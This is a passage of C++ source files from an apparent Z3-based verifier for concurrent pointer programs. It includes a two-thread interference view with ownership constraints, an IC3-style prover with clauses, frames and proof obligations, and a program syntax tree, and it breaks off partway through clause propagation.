intconstraints.add_clause(constr_xreach);
intconstraints.add_clause(constr_yeq);
intconstraints.add_clause(constr_ynext);
intconstraints.add_clause(constr_yreach);
}
}
memconsistency(intconstraints);
}
Frame &TwoThreadView::get_intconstraints(){
return intconstraints;
}
expr TwoThreadView::pcincrement(expr &f, Statement *command){
// in addition to incrementing pc1, pc2 must stay as it was
f = View::pcincrement(f, command);
for(int i=0; i<loc; i++){
f = f && (pc2(i) == Xpc2(i));
}
return f;
}
expr TwoThreadView::pcincrement(expr &f, Condition *command, expr cond){
// in addition to redirecting pc1, pc2 must stay as it was
f = View::pcincrement(f, command, cond);
for(int i=0; i<loc; i++){
f = f && (pc2(i) == Xpc2(i));
}
return f;
}
expr TwoThreadView::nochange_sinout(expr &f){
f = View::nochange_sinout(f);
f = f && (Xsinout2 == sinout2);
return f;
}
expr TwoThreadView::nochange_observed_in(expr &f, std::vector<Variable*> &v){
f = View::nochange_observed_in(f, v);
for(const auto &z : v){
int zid = z->getid();
f = f && (Xin2(zid) == in2(zid));
}
return f;
}
expr TwoThreadView::nochange_observed_out(expr &f, std::vector<Variable*> &v){
f = View::nochange_observed_out(f, v);
for(const auto &z : v){
int zid = z->getid();
f = f && (Xout2(zid) == out2(zid));
}
return f;
}
expr TwoThreadView::nochange_own(expr &f, std::vector<Variable*> &v, Variable *except){
for(const auto &z : v){
if(z == except) continue;
int zid = z->getid();
f = f && (Xown(zid) == own(zid)) && (Xown2(zid) == own2(zid));
}
return f;
}
expr TwoThreadView::claim_ownership(Variable *x){
int xid = x->getid();
return Xown(xid) && !Xown2(xid);
}
expr TwoThreadView::lose_ownership(Variable *x){
int xid = x->getid();
return !Xown(xid) && (Xown2(xid) == own2(xid));
}
expr TwoThreadView::nuke_ownership(Variable *x){
int xid = x->getid();
return !Xown(xid) && !Xown2(xid);
}
expr TwoThreadView::copy_ownership(Variable *source, Variable *dest){
int sid = source->getid();
int did = dest->getid();
return (Xown(did) == own(sid)) && (Xown2(did) == own2(sid));
}
expr TwoThreadView::nibble_ownership(Variable *nibbler, Variable *pointer){
int nid = nibbler->getid();
int pid = pointer->getid();
expr cond1 = !own(pid) && !inv_eq(pid) && !inv_next(pid);
expr result = implies(cond1, !Xown(nid));
result = result && implies(!cond1, Xown(nid) == own(pid));
expr cond2 = !own2(pid) && !inv_eq(pid) && !inv_next(pid);
result = result && implies(cond2, !Xown2(nid));
result = result && implies(!cond2, Xown2(nid) == own2(pid));
for(const auto z : vars){
if(z == nibbler) continue;
int zid = z->getid();
expr zcond1 = cond1 && shape_next(pid, zid);
result = result && implies(zcond1, !Xown(zid));
result = result && implies(!zcond1, Xown(zid) == own(zid));
expr zcond2 = cond2 && shape_next(pid, zid);
result = result && implies(zcond2, !Xown2(zid));
result = result && implies(!zcond2, Xown2(zid) == own2(zid));
}
return result;
}
expr TwoThreadView::nochange_seen(Variable *except){
expr result(ctxt, Z3_mk_true(ctxt));
for(const auto z : obsvars){
if(z == except) continue;
int zid = z->getid();
result = result && (Xinseen(zid) == (inseen(zid) || inseen2(zid))) && (Xinseen2(zid) == (inseen(zid) || inseen2(zid)));
}
return result;
}
expr TwoThreadView::input_seen(Variable *z){
int zid = z->getid();
return inseen(zid) || inseen2(zid);
}
expr TwoThreadView::see_input(Variable *z){
int zid = z->getid();
return Xinseen(zid) && Xinseen2(zid);
}
void TwoThreadView::memconsistency(Frame &frame){
View::memconsistency(frame);
for(const auto x : vars){
int xid = x->getid();
if(x->isobserver()){
Clause gowner(ctxt, old_variables.size());
gowner.set_variable(own2(xid), own2.getid(xid), CLAUSE_NEGATIVE);
frame.add_clause(gowner);
}else if(x->isglobal()){
Clause gowner(ctxt, old_variables.size());
gowner.set_variable(own2(xid), own2.getid(xid), CLAUSE_NEGATIVE);
gowner.set_variable(inv_eq(xid), inv_eq.getid(xid), CLAUSE_POSITIVE);
frame.add_clause(gowner);
}
Clause doubleown(ctxt, old_variables.size());
doubleown.set_variable(own(xid), own.getid(xid), CLAUSE_NEGATIVE);
doubleown.set_variable(own2(xid), own2.getid(xid), CLAUSE_NEGATIVE);
frame.add_clause(doubleown);
}
}
expr TwoThreadView::trans_functioncall(){
expr result = View::trans_functioncall();
result = result && (Xsinout2 == sinout2);
for(const auto z : obsvars){
int zid = z->getid();
result = result && (Xout2(zid) == out2(zid)) && (Xin2(zid) == in2(zid));
}
for(int i=0; i<loc; i++){
result = result && (Xpc2(i) == pc2(i));
}
return result;
}
expr TwoThreadView::trans_outputassignment(OutputAssignment *command){
expr result = View::trans_outputassignment(command);
result = result && (Xsinout2 == sinout2);
for(const auto z : obsvars){
int zid = z->getid();
result = result && (Xout2(zid) == out2(zid));
}
return result;
}
std::vector<int> TwoThreadView::get_variables2_single(){
return std::vector<int>({sinout2id});
}
std::vector<Z3VariableContainer1D*> TwoThreadView::get_variables2_1did(){
return std::vector<Z3VariableContainer1D*>({&pc2, &os});
}
std::vector<Z3VariableContainer1D*> TwoThreadView::get_variables2_1dvar(){
return std::vector<Z3VariableContainer1D*>({&own2, &freed, &freednext, &inv_eq, &inv_next, &inv_reach, &sin_eq, &sin_next, &sin_reach});
}
std::vector<Z3VariableContainer1D*> TwoThreadView::get_variables2_1dobsvar(){
return std::vector<Z3VariableContainer1D*>({&in2, &out2, &inseen2});
}
std::vector<Z3VariableContainer2D*> TwoThreadView::get_variables2_2dvar(){
return std::vector<Z3VariableContainer2D*>({&shape_eq, &shape_neq, &shape_next, &shape_reach});
}
std::vector<Z3VariableContainer2D*> TwoThreadView::get_variables2_2dnextvar(){
return std::vector<Z3VariableContainer2D*>({&ages_eq, &ages_lt});
}
<file_sep>#pragma once
#include <vector>
#include "z3variablecontainer.hpp"
#include "z3++.h"
using namespace z3;
class NextConverter;
class Mediator;
class Clause;
class Frame;
class ProofObligation;
class NoIC3;
enum clausevar {CLAUSE_POSITIVE, CLAUSE_NEGATIVE, CLAUSE_DONTCARE};
class NextConverter{
private:
context &ctxt;
std::vector<expr> old_variables;
std::vector<expr> new_variables;
ast_vector_tpl<expr> old_z3ast;
ast_vector_tpl<expr> new_z3ast;
public:
NextConverter(context &ctxt, std::vector<expr> old, std::vector<expr> next);
Clause convert(Clause &oldclause);
Frame convert(Frame &oldframe);
};
class Mediator{
private:
context &ctxt;
std::vector<expr> &single_variables;
std::vector<expr> &double_variables;
std::vector<int> table1;
std::vector<int> table2;
std::vector<int> rtable1;
std::vector<int> rtable2;
void make_entry(int s, int d1, int d2);
public:
Mediator(context &ctxt, std::vector<expr> &single_variables, std::vector<expr> &double_variables);
void add(int singleid, int double1id, int double2id);
void add_id(Z3VariableContainer1D &single, Z3VariableContainer1D &double1, Z3VariableContainer1D &double2);
void add_1dvar(Z3VariableContainer1D &single, Z3VariableContainer1D &double1, Z3VariableContainer1D &double2, std::vector<Variable*> &vars);
void add_2dvar(Z3VariableContainer2D &single, Z3VariableContainer2D &double1, Z3VariableContainer2D &double2, std::vector<Variable*> &vars);
void add_2dnextvar(Z3VariableContainer2D &single, Z3VariableContainer2D &double1, Z3VariableContainer2D &double2, std::vector<Variable*> &vars);
void check_complete();
Clause evolve(Clause &original, int type);
Frame evolve(Frame &original, int type);
Frame mitosis(Frame &original);
void cytokinesis(Clause &original, Clause &result1, Clause &result2);
void singleadd(Frame &frame, Clause &clause, int type);
void doubleadd(Frame &frame, Clause &clause);
};
class Clause{
private:
int num_vars;
std::vector<clausevar> dirac;
std::vector<int> contained;
expr formula;
expr coformula;
public:
Clause(context &ctxt, int size);
Clause(context &ctxt, std::vector<expr> &variables, std::vector<clausevar> stati);
Clause(context &ctxt, std::vector<expr> &variables, model &m);
void set_variable(expr var, int var_id, clausevar status);
clausevar get_literal(int id);
std::vector<clausevar> &get_dirac();
std::vector<int> &get_contained();
expr get_formula();
expr get_coformula();
bool contains(int literalid);
bool compare(Clause &other);
Clause remove_literal(context &ctxt, std::vector<expr> &variables, int id);
Clause intersect(context &ctxt, std::vector<expr> &variables, Clause &other);
};
class Frame{
private:
std::vector<Clause> clauses;
expr formula;
std::vector<Clause> notpropagated;
bool propagated_change;
public:
Frame(context &ctxt);
bool contains_clause(Clause &clause);
void add_clause(Clause clause, bool propagate=true);
std::vector<Clause> &get_clauses();
expr &get_formula();
void fill_solver(solver &s);
bool has_propagation();
std::vector<Clause> &get_propagation();
void set_propagation(std::vector<Clause> newlist);
};
class ProofObligation{
private:
Clause obligation;
bool fulfilled;
bool failed;
ProofObligation *twin;
ProofObligation *backtrack;
public:
ProofObligation(Clause ob, ProofObligation *back);
Clause get_clause();
void set_twin(ProofObligation *tw);
void set_fulfilled();
void set_failed();
bool is_fulfilled();
bool is_failed();
};
class NoIC3{
private:
context &ctxt;
std::vector<expr> &seq_old_variables;
std::vector<expr> &seq_new_variables;
std::vector<expr> &int_old_variables;
std::vector<expr> &int_new_variables;
NextConverter seqconverter;
NextConverter intconverter;
Mediator &mediator;
Frame &initial;
Frame double_initial;
expr &transition;
expr &inttransition;
Frame &intconstraints;
Frame &safety;
Frame double_safety;
Frame intsafety;
Frame Xsafety;
Frame Xintsafety;
std::vector<Frame> frames;
std::vector<Frame> doubleframes;
int frontier_level;
public:
NoIC3(context &ctxt, std::vector<expr> &seq_old_variables, std::vector<expr> &seq_new_variables, std::vector<expr> &int_old_variables, std::vector<expr> &int_new_variables, Mediator &mediator, Frame &initial, expr &transition, expr &inttransition, Frame &intconstraints, Frame &safety);
bool prove();
bool extendFrontier();
void propagateClauses();
bool removeCTI(Clause &witness);
};
<file_sep>#pragma once
#include <string>
#include <iostream>
#include <vector>
#include "variable.hpp"
#include "observer.hpp"
class Expression;
class Block;
class Statement;
class Memory;
class Malloc;
class Free;
class Increment;
class AgeIncrement;
class NextIncrement;
class VariableAssignment;
class PointerAssignment;
class NextPointerAssignment;
class PointerNextAssignment;
class IOAssignment;
class InputAssignment;
class OutputAssignment;
class Return;
class Condition;
class Comparison;
class PointerComparison;
class AgeComparison;
class CAS;
class ProgramStructure;
class Sequence;
class Loop;
class Headloop;
class Footloop;
class IfThenElse;
class IfThen;
enum expression_type {STATEMENT, CONDITION};
enum expression_subtype {MALLOC, FREE, AGEINCREMENT, NEXTINCREMENT, POINTERASSIGNMENT, NEXTPOINTERASSIGNMENT, POINTERNEXTASSIGNMENT, AGEASSIGNMENT, INPUTASSIGNMENT, OUTPUTASSIGNMENT, RETURN, POINTERCOMPARISON, AGECOMPARISON, CANDS};
enum block_type {BLOCK_STATEMENT, BLOCK_STRUCTURE};
class Expression{
private:
static int pccount;
static std::vector<Expression*> expressions;
int pc;
LinearisationEvent *event;
bool output;
public:
static int loc();
static std::vector<Expression*> get_expressions();
Expression(LinearisationEvent *event=NULL);
virtual ~Expression();
int getpc();
LinearisationEvent *get_event();
virtual expression_type get_type() = 0;
virtual expression_subtype get_subtype() = 0;
bool output_done();
virtual void printcommand() = 0;
void printline();
virtual void printsubprogram() = 0;
};
class Block{
public:
virtual ~Block();
virtual block_type get_blocktype() = 0;
virtual Expression *getfirst() = 0;
virtual void setnext(Expression *next) = 0;
};
class Statement : public Expression, public Block{
private:
Expression *next;
public:
Statement(LinearisationEvent *event=NULL);
expression_type get_type();
block_type get_blocktype();
Expression *getfirst();
Expression *getnext();
virtual void setnext(Expression *expr);
void printsubprogram();
};
class Memory : public Statement{
protected:
Variable *var;
public:
Memory(Variable *assign, LinearisationEvent *event=NULL);
Variable *getvar();
};
class Malloc : public Memory{
using Memory::Memory;
expression_subtype get_subtype();
void printcommand();
};
class Free : public Memory{
using Memory::Memory;
expression_subtype get_subtype();
void printcommand();
};
class Increment : public Statement{
protected:
Variable *var;
public:
Increment(Variable *var, LinearisationEvent *event=NULL);
Variable *getvar();
};
class AgeIncrement : public Increment{
using Increment::Increment;
expression_subtype get_subtype();
void printcommand();
};
class NextIncrement : public Increment{
using Increment::Increment;
expression_subtype get_subtype();
void printcommand();
};
class VariableAssignment : public Statement{
protected:
Variable *lhs;
Variable *rhs;
public:
VariableAssignment(Variable *lhs, Variable *rhs, LinearisationEvent *event=NULL);
Variable *getlhs();
Variable *getrhs();
};
class PointerAssignment : public VariableAssignment{
using VariableAssignment::VariableAssignment;
expression_subtype get_subtype();
void printcommand();
};
class NextPointerAssignment : public VariableAssignment{
using VariableAssignment::VariableAssignment;
expression_subtype get_subtype();
void printcommand();
};
class PointerNextAssignment : public VariableAssignment{
using VariableAssignment::VariableAssignment;
expression_subtype get_subtype();
void printcommand();
};
class AgeAssignment : public VariableAssignment{
using VariableAssignment::VariableAssignment;
expression_subtype get_subtype();
void printcommand();
};
class IOAssignment : public Statement{
protected:
Variable *var;
public:
IOAssignment(Variable *var, LinearisationEvent *event=NULL);
Variable *getvar();
};
class InputAssignment : public IOAssignment{
using IOAssignment::IOAssignment;
expression_subtype get_subtype();
void printcommand();
};
class OutputAssignment : public IOAssignment{
using IOAssignment::IOAssignment;
expression_subtype get_subtype();
void printcommand();
};
class Return : public Statement{
using Statement::Statement;
public:
Expression *getnext();
void setnext(Expression *next);
expression_subtype get_subtype();
void printcommand();
};
class Condition : public Expression{
private:
bool negated;
Expression *next_success;
Expression *next_fail;
public:
Condition(bool negated, LinearisationEvent *event=NULL);
expression_type get_type();
Expression *getnext(bool success);
void setnext(Expression *next_success, Expression *next_fail);
void printsubprogram();
};
class Comparison : public Condition{
protected:
Variable *lhs;
Variable *rhs;
public:
Comparison(Variable *lhs, Variable *rhs, bool negated, LinearisationEvent *event=NULL);
Variable *getlhs();
Variable *getrhs();
};
class PointerComparison : public Comparison{
using Comparison::Comparison;
expression_subtype get_subtype();
void printcommand();
};
class AgeComparison : public Comparison{
using Comparison::Comparison;
expression_subtype get_subtype();
void printcommand();
};
class CAS : public Condition{
private:
Variable *victim;
Variable *compare;
Variable *replace;
public:
CAS(Variable *victim, Variable *compare, Variable *replace, bool negated, LinearisationEvent *event=NULL);
Variable *getvictim();
Variable *getcompare();
Variable *getreplace();
expression_subtype get_subtype();
void printcommand();
};
class ProgramStructure : public Block{
public:
ProgramStructure();
block_type get_blocktype();
};
class Sequence : public ProgramStructure{
private:
Expression *first;
Block *last;
public:
Sequence(std::vector<Block*> blocks);
virtual ~Sequence();
Expression *getfirst();
void setnext(Expression *next);
};
class Loop : public ProgramStructure{
protected:
Condition *condition;
Expression *bodyfirst;
public:
Loop(Condition *condition, Sequence *body);
void setnext(Expression *next);
};
class Headloop : public Loop{
using Loop::Loop;
public:
Condition *getfirst();
};
class Footloop : public Loop{
using Loop::Loop;
public:
Expression *getfirst();
};
class IfThenElse : public ProgramStructure{
private:
Condition *condition;
Sequence *then;
Sequence *els;
public:
IfThenElse(Condition *condition, Sequence *then, Sequence *els);
Condition *getfirst();
void setnext(Expression *next);
};
class IfThen : public ProgramStructure{
private:
Condition *condition;
Sequence *then;
public:
IfThen(Condition *condition, Sequence *then);
Condition *getfirst();
void setnext(Expression *next);
};
<file_sep>#include <vector>
#include "z3++.h"
#include "noic3.hpp"
using namespace z3;
NextConverter::NextConverter(context &ctxt, std::vector<expr> old, std::vector<expr> next):
ctxt(ctxt),
old_variables(old),
new_variables(next),
old_z3ast(ast_vector_tpl<expr>(ctxt)),
new_z3ast(ast_vector_tpl<expr>(ctxt)){
for(auto i : old){
old_z3ast.push_back(i);
}
for(auto i : next){
new_z3ast.push_back(i);
}
}
Clause NextConverter::convert(Clause &oldclause){
return Clause(ctxt, new_variables, oldclause.get_dirac());
}
Frame NextConverter::convert(Frame &oldframe){
Frame result(ctxt);
std::vector<Clause> clauses = oldframe.get_clauses();
for(auto i : clauses){
Clause j = convert(i);
result.add_clause(j);
}
return result;
}
Mediator::Mediator(context &ctxt, std::vector<expr> &single_variables, std::vector<expr> &double_variables):
ctxt(ctxt),
single_variables(single_variables),
double_variables(double_variables),
table1(),
table2()
{
int size = single_variables.size();
table1.reserve(size);
table2.reserve(size);
for(int i=0; i<size; i++){
table1.push_back(-1);
table2.push_back(-1);
}
size = double_variables.size();
rtable1.reserve(size);
rtable2.reserve(size);
for(int i=0; i<size; i++){
rtable1.push_back(-1);
rtable2.push_back(-1);
}
}
void Mediator::make_entry(int s, int d1, int d2){
table1[s] = d1;
table2[s] = d2;
rtable1[d1] = s;
rtable2[d2] = s;
}
void Mediator::add(int singleid, int double1id, int double2id){
make_entry(singleid, double1id, double2id);
}
void Mediator::add_id(Z3VariableContainer1D &single, Z3VariableContainer1D &double1, Z3VariableContainer1D &double2){
int size = single.size();
for(int i=0; i<size; i++){
make_entry(single.getid(i), double1.getid(i), double2.getid(i));
}
}
void Mediator::add_1dvar(Z3VariableContainer1D &single, Z3VariableContainer1D &double1, Z3VariableContainer1D &double2, std::vector<Variable*> &vars){
for(const auto x : vars){
int xid = x->getid();
int xtwin1id = x->get_twin(1)->getid();
int xtwin2id = x->get_twin(2)->getid();
make_entry(single.getid(xid), double1.getid(xtwin1id), double2.getid(xtwin2id));
}
}
void Mediator::add_2dvar(Z3VariableContainer2D &single, Z3VariableContainer2D &double1, Z3VariableContainer2D &double2, std::vector<Variable*> &vars){
for(const auto x : vars){
int xid = x->getid();
int xtwin1id = x->get_twin(1)->getid();
int xtwin2id = x->get_twin(2)->getid();
for(const auto y : vars){
int yid = y->getid();
int ytwin1id = y->get_twin(1)->getid();
int ytwin2id = y->get_twin(2)->getid();
make_entry(single.getid(xid, yid), double1.getid(xtwin1id, ytwin1id), double2.getid(xtwin2id, ytwin2id));
}
}
}
void Mediator::add_2dnextvar(Z3VariableContainer2D &single, Z3VariableContainer2D &double1, Z3VariableContainer2D &double2, std::vector<Variable*> &vars){
for(const auto x : vars){
int xid = x->getid();
int xnextid = x->getnextid();
int xtwin1id = x->get_twin(1)->getid();
int xtwin1nextid = x->get_twin(1)->getnextid();
int xtwin2id = x->get_twin(2)->getid();
int xtwin2nextid = x->get_twin(2)->getnextid();
for(const auto y : vars){
int yid = y->getid();
int ynextid = y->getnextid();
int ytwin1id = y->get_twin(1)->getid();
int ytwin1nextid = y->get_twin(1)->getnextid();
int ytwin2id = y->get_twin(2)->getid();
int ytwin2nextid = y->get_twin(2)->getnextid();
make_entry(single.getid(xid, yid), double1.getid(xtwin1id, ytwin1id), double2.getid(xtwin2id, ytwin2id));
make_entry(single.getid(xid, ynextid), double1.getid(xtwin1id, ytwin1nextid), double2.getid(xtwin2id, ytwin2nextid));
make_entry(single.getid(xnextid, yid), double1.getid(xtwin1nextid, ytwin1id), double2.getid(xtwin2nextid, ytwin2id));
make_entry(single.getid(xnextid, ynextid), double1.getid(xtwin1nextid, ytwin1nextid), double2.getid(xtwin2nextid, ytwin2nextid));
}
}
}
void Mediator::check_complete(){
int size1 = table1.size();
for(int i=0; i<size1; i++){
if(table1[i] == -1 || table2[i] == -1){
std::cout << "You missed a spot there\n";
}
}
int size2 = rtable1.size();
for(int i=0; i<size2; i++){
if(rtable1[i] == -1){
for(int j=0; j<size1; j++){
if(table1[j] == i){
std::cout << "You missed a reverse spot there\n";
}
}
}
if(rtable2[i] == -1){
for(int j=0; j<size1; j++){
if(table2[j] == i){
std::cout << "You missed a reverse spot there\n";
}
}
}
}
}
Clause Mediator::evolve(Clause &original, int type){
std::vector<int> &contained = original.get_contained();
Clause result(ctxt, double_variables.size());
for(auto j : contained){
int target = -1;
if(type == 1) target = table1[j];
if(type == 2) target = table2[j];
expr lit = double_variables[target];
result.set_variable(lit, target, original.get_literal(j));
}
return result;
}
Frame Mediator::evolve(Frame &original, int type){
std::vector<Clause> &clauses = original.get_clauses();
Frame result(ctxt);
for(auto &clause : clauses){
singleadd(result, clause, type);
}
return result;
}
Frame Mediator::mitosis(Frame &original){
std::vector<Clause> &clauses = original.get_clauses();
Frame result(ctxt);
for(auto &clause : clauses){
doubleadd(result, clause);
}
return result;
}
void Mediator::cytokinesis(Clause &original, Clause &result1, Clause &result2){
std::vector<int> &contained = original.get_contained();
for(auto j : contained){
int target1 = rtable1[j];
int target2 = rtable2[j];
clausevar status = original.get_literal(j);
if(target1 != -1){
expr lit = single_variables[target1];
result1.set_variable(lit, target1, status);
}
if(target2 != -1){
expr lit = single_variables[target2];
result2.set_variable(lit, target2, status);
}
}
}
void Mediator::singleadd(Frame &frame, Clause &clause, int type){
std::vector<int> &contained = clause.get_contained();
Clause c(ctxt, double_variables.size());
for(auto j : contained){
int target = -1;
if(type == 1) target = table1[j];
if(type == 2) target = table2[j];
expr lit = double_variables[target];
c.set_variable(lit, target, clause.get_literal(j));
}
frame.add_clause(c);
}
void Mediator::doubleadd(Frame &frame, Clause &clause){
std::vector<int> &contained = clause.get_contained();
Clause c1(ctxt, double_variables.size());
Clause c2(ctxt, double_variables.size());
for(auto j : contained){
int target1 = table1[j];
int target2 = table2[j];
expr lit1 = double_variables[target1];
expr lit2 = double_variables[target2];
c1.set_variable(lit1, target1, clause.get_literal(j));
c2.set_variable(lit2, target2, clause.get_literal(j));
}
frame.add_clause(c1, false);
frame.add_clause(c2, false);
}
Clause::Clause(context &ctxt, std::vector<expr> &variables, std::vector<clausevar> stati):
num_vars(variables.size()),
dirac(),
contained(),
formula(ctxt, Z3_mk_false(ctxt)),
coformula(ctxt, Z3_mk_true(ctxt)){
dirac.reserve(num_vars);
for(int i=0; i<num_vars; i++){
clausevar &st = stati[i];
dirac.push_back(st);
if(st == CLAUSE_POSITIVE){
formula = formula || variables[i];
coformula = coformula && !variables[i];
contained.push_back(i);
}else if(st == CLAUSE_NEGATIVE){
formula = formula || !variables[i];
coformula = coformula && variables[i];
contained.push_back(i);
}
}
}
Clause::Clause(context &ctxt, std::vector<expr> &variables, model &m):
// the state contained in the model will become the coformula,
// the negated state will become the formula / clause.
num_vars(variables.size()),
dirac(),
contained(),
formula(ctxt, Z3_mk_false(ctxt)),
coformula(ctxt, Z3_mk_true(ctxt)){
dirac.reserve(num_vars);
for(int i=0; i<num_vars; i++){
expr val = m.eval(variables[i]);
Z3_lbool boolval = Z3_get_bool_value(ctxt, val);
if(boolval == Z3_L_TRUE){
dirac.push_back(CLAUSE_NEGATIVE);
formula = formula || !variables[i];
coformula = coformula && variables[i];
contained.push_back(i);
}else if(boolval == Z3_L_FALSE){
dirac.push_back(CLAUSE_POSITIVE);
formula = formula || variables[i];
coformula = coformula && !variables[i];
contained.push_back(i);
}else{
dirac.push_back(CLAUSE_DONTCARE);
}
}
}
Clause::Clause(context &ctxt, int size):
num_vars(size),
dirac(),
contained(),
formula(expr(ctxt, Z3_mk_false(ctxt))),
coformula(expr(ctxt, Z3_mk_true(ctxt))){
dirac.reserve(size);
for(int i=0; i<num_vars; i++){
dirac.push_back(CLAUSE_DONTCARE);
}
}
clausevar Clause::get_literal(int id){
return dirac[id];
}
void Clause::set_variable(expr var, int var_id, clausevar status){
// NOTE: Only use this function to change a variable status from DONTCARE to something.
// Doing otherwise might leave you with a destroyed vector.
// Calls that do not change the status are allowed.
if(dirac[var_id] == status) return;
dirac[var_id] = status;
if(status == CLAUSE_POSITIVE){
formula = formula || var;
coformula = coformula && !var;
contained.push_back(var_id);
}else if(status == CLAUSE_NEGATIVE){
formula = formula || !var;
coformula = coformula && var;
contained.push_back(var_id);
}
}
std::vector<clausevar> &Clause::get_dirac(){
return dirac;
}
std::vector<int> &Clause::get_contained(){
return contained;
}
expr Clause::get_formula(){
return formula;
}
expr Clause::get_coformula(){
return coformula;
}
bool Clause::contains(int literalid){
return dirac[literalid] != CLAUSE_DONTCARE;
}
bool Clause::compare(Clause &other){
// TODO: use <contained> for comparison
// shift from 2*num_vars to 2*contained1 + 2*contained2
std::vector<clausevar> &cmp = other.get_dirac();
for(int i=0; i<num_vars; i++){
if(dirac[i] != cmp[i]) return false;
}
return true;
}
Clause Clause::remove_literal(context &ctxt, std::vector<expr> &variables, int id){
std::vector<clausevar> newvector = dirac;
newvector[id] = CLAUSE_DONTCARE;
return Clause(ctxt, variables, newvector);
}
Clause Clause::intersect(context &ctxt, std::vector<expr> &variables, Clause &other){
int size = variables.size();
Clause result(ctxt, size);
for(int i=0; i<size; i++){
clausevar v = dirac[i];
if(v == other.get_literal(i)){
result.set_variable(variables[i], i, v);
}
}
return result;
}
Frame::Frame(context &ctxt):
clauses(std::vector<Clause>()),
formula(expr(ctxt, Z3_mk_true(ctxt))),
notpropagated(std::vector<Clause>()),
propagated_change(false){
}
bool Frame::contains_clause(Clause &clause){
for(auto i : clauses){
if(clause.compare(i)) return true;
}
return false;
}
void Frame::add_clause(Clause clause, bool propagate){
if(contains_clause(clause)) return;
clauses.push_back(clause);
formula = formula && clause.get_formula();
if(propagate){
notpropagated.push_back(clause);
propagated_change = true;
}
}
std::vector<Clause> &Frame::get_clauses(){
return clauses;
}
expr &Frame::get_formula(){
return formula;
}
void Frame::fill_solver(solver &s){
for(auto i : clauses){
s.add(i.get_formula());
}
}
bool Frame::has_propagation(){
return propagated_change;
}
std::vector<Clause> &Frame::get_propagation(){
propagated_change = false;
return notpropagated;
}
void Frame::set_propagation(std::vector<Clause> newlist){
notpropagated = newlist;
}
ProofObligation::ProofObligation(Clause ob, ProofObligation *back):
obligation(ob),
fulfilled(false),
failed(false),
twin(NULL),
backtrack(back){
}
void ProofObligation::set_twin(ProofObligation *tw){
twin = tw;
}
void ProofObligation::set_fulfilled(){
fulfilled = true;
if(twin != NULL) twin->fulfilled = true;
}
void ProofObligation::set_failed(){
failed = true;
if(twin != NULL){
twin->twin = NULL;
}else if(backtrack != NULL){
backtrack->set_failed();
}
}
bool ProofObligation::is_fulfilled(){
return fulfilled;
}
bool ProofObligation::is_failed(){
return failed;
}
Clause ProofObligation::get_clause(){
return obligation;
}
NoIC3::NoIC3(context &ctxt, std::vector<expr> &seq_old_variables, std::vector<expr> &seq_new_variables, std::vector<expr> &int_old_variables, std::vector<expr> &int_new_variables, Mediator &mediator, Frame &initial, expr &transition, expr &inttransition, Frame &intconstraints, Frame &safety):
ctxt(ctxt),
seq_old_variables(seq_old_variables),
seq_new_variables(seq_new_variables),
int_old_variables(int_old_variables),
int_new_variables(int_new_variables),
seqconverter(ctxt, seq_old_variables, seq_new_variables),
intconverter(ctxt, int_old_variables, int_new_variables),
mediator(mediator),
initial(initial),
double_initial(mediator.mitosis(initial)),
transition(transition),
inttransition(inttransition),
intconstraints(intconstraints),
safety(safety),
double_safety(mediator.mitosis(safety)),
intsafety(mediator.evolve(safety, 2)),
Xsafety(seqconverter.convert(safety)),
Xintsafety(intconverter.convert(intsafety)),
frames(),
doubleframes(),
frontier_level(0)
{
}
bool NoIC3::prove(){
solver solv(ctxt);
initial.fill_solver(solv);
// zero steps
solv.push();
solv.add(!safety.get_formula());
if(solv.check() == sat) return false;
solv.pop();
// one step (sequential)
solv.add(transition);
solv.add(!Xsafety.get_formula());
if(solv.check() == sat) return false;
// one step (interference)
solv.reset();
double_initial.fill_solver(solv);
intconstraints.fill_solver(solv);
solv.add(inttransition);
solv.add(!Xintsafety.get_formula());
if(solv.check() == sat) return false;
frames.push_back(initial);
doubleframes.push_back(double_initial);
frames.push_back(safety);
doubleframes.push_back(double_safety);
frontier_level = 1;
std::cout << "initiated induction, frontier is at level " << frontier_level << "\n";
propagateClauses();
while(true){
if(!extendFrontier()){
return false;
}
frontier_level += 1;
std::cout << "extended frontier to level " << frontier_level << "\n";
propagateClauses();
for(int i=0; i<=frontier_level-1; i++){
// check if frames i and i+1 are equal
expr nequality = ! (frames[i].get_formula() == frames[i+1].get_formula());
solv.reset();
solv.add(nequality);
if(solv.check() == unsat){
return true;
}
}
}
return true;
}
bool NoIC3::extendFrontier(){
solver seqsolv(ctxt);
solver intsolv(ctxt);
frames.push_back(safety);
doubleframes.push_back(double_safety);
// sequential step
seqsolv.add(transition);
seqsolv.add(!Xsafety.get_formula());
while(true){
seqsolv.push();
frames[frontier_level].fill_solver(seqsolv);
if(seqsolv.check() == unsat) break;
model m = seqsolv.get_model();
Clause witness(ctxt, seq_old_variables, m);
std::cout << "Extending frontier interrupted because of witness " << witness.get_coformula() << "\n";
std::cout << "It leads to bad state " << Clause(ctxt, seq_new_variables, m).get_coformula() << "\n";
if(!removeCTI(witness)){
return false;
}
seqsolv.pop();
}
// interference step
intconstraints.fill_solver(intsolv);
intsolv.add(inttransition);
intsolv.add(!Xintsafety.get_formula());
while(true){
intsolv.push();
doubleframes[frontier_level].fill_solver(intsolv);
if(intsolv.check() == unsat) break;
model m = intsolv.get_model();
Clause cex = Clause(ctxt, int_old_variables, m);
Clause witness1(ctxt, seq_old_variables.size());
Clause witness2(ctxt, seq_old_variables.size());
mediator.cytokinesis(cex, witness1, witness2);
std::cout << "Extending frontier interrupted because of interference witness\n" << cex.get_coformula() << "\n";
std::cout << "It leads to bad state " << Clause(ctxt, int_new_variables, m).get_coformula() << "\n";
if(!removeCTI(witness1) && !removeCTI(witness2)){
return false;
}
intsolv.pop();
}
return true;
}
void NoIC3::propagateClauses(){
solver seqsolv(ctxt);
solver intsolv(ctxt);
seqsolv.add(transition);
intconstraints.fill_solver(intsolv);
intsolv.add(inttransition);
for(int i=0; i<=frontier_level-1; i++){
Frame &now = frames[i];
Frame &doublenow = doubleframes[i];
// at this time this already exists
Frame &next = frames[i+1];
Frame &doublenext = doubleframes[i+1];
if(!now.has_propagation()) continue;
std::vector<Clause> &list = now.get_propagation();
std::vector<Clause> newlist;
std::cout << "propagating " << list.size() << " clauses from level " << i << "\n";
for(auto clause : list){
if(next.contains_clause(clause)) continue;
seqsolv.push();
now.fill_solver(seqsolv);
seqsolv.add(seqconverter.convert(clause).get_coformula());
if(seqsolv.check() == unsat){
intsolv.push();
doublenow.fill_solver(intsolv);
Clause intclause = mediator.evolve(clause, 2);
intsolv.add(intconverter.convert(intclause).get_coformula());
if(intsolv.check() == unsat){
// unreachable -> propagate and forget about it
next.add_clause(clause);
mediator.doubleadd(doublenext, clause);
}
intsolv.pop();
